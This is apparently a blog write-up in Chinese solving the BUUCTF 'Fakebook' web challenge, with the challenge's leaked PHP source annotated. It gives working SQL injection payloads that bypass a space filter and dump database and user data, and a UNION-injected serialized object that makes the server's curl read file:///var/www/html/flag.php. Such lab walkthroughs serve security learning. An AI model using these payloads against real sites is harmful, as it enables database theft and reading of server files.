BUUCTF |Fakebook
1.在注册后发现这个界面,猜测是不是存在注入点
1 2 | http: //654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and1 http: //654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and0 |
2.order by得到长度为4(这里存在对空格的过滤)
3.爆库名
1 | /view.php? no =-1++union++ select ++1,group_concat(schema_name),3,4++from++information_schema.schemata--+ |
4.继续查询中发现data存的是个序列化后的数据,猜测后台是通过反序列化data后输出前端结果
1 | /view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+ |
5.查看robots.txt发现一个备份文件

<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
看完源码的我面无表情,看了大佬的WP才知道这里是考SSRF漏洞
6.利用ssrf,的到flag
?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
解析:
再读一遍源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | <?php class UserInfo { public $name = "" ; public $age = 0; public $blog = "" ; public function __construct( $name , $age , $blog ) { $this ->name = $name ; $this ->age = (int) $age ; $this ->blog = $blog ; } function get( $url ) { $ch = curl_init(); /*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/ curl_setopt( $ch , CURLOPT_URL, $url ); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); /* curl_setopt — 为给定的cURL会话句柄设置一个选项。 说明: bool curl_setopt ( resource $ch , int $option , mixed $value ) 参数: ch:由 curl_init() 返回的 cURL 句柄。 option:需要设置的CURLOPT_XXX选项。 value:将设置在option选项上的值。 对于下面的这些option的可选参数,value应该被设置一个bool类型的值: CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。 对于下面的这些option的可选参数,value应该被设置一个string类型的值: CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。 ################### 文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流 */ $output = curl_exec( $ch ); /*curl_exec :执行 cURL 会话*/ $httpCode = curl_getinfo( $ch , CURLINFO_HTTP_CODE); /* curl_getinfo — 获取一个cURL连接资源句柄的信息 说明: mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。 参数: ch 由 curl_init() 返回的 cURL 句柄。 opt:这个参数可能是以下常量之一: CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码 */ if ( $httpCode == 404) { return 404; } curl_close( $ch ); return $output ; } public function getBlogContents () { return $this ->get( $this ->blog); } public function isValidBlog () { $blog = $this ->blog; return preg_match( "/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); } } |
PS:
- cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
- PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
- libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
- PHP中使用cURL实现Get和Post请求的方法
- 这些函数在PHP 4.0.2中被引入。
所以这里的重点是 curl_setopt()和curl_exec()这两个函数,在注册界面直接输入file:///var/www/html/flag.php存在过滤,这时候可以利用SSRF来绕过过滤
参考:
https://lihuaiqiu.github.io/2019/07/13/BUUCTF-Writeup-%E4%B8%80/
https://www.cnblogs.com/Mikasa-Ackerman/p/11050033.html
https://www.jianshu.com/p/90a34b08a416
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· C#/.NET/.NET Core技术前沿周刊 | 第 29 期(2025年3.1-3.9)
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异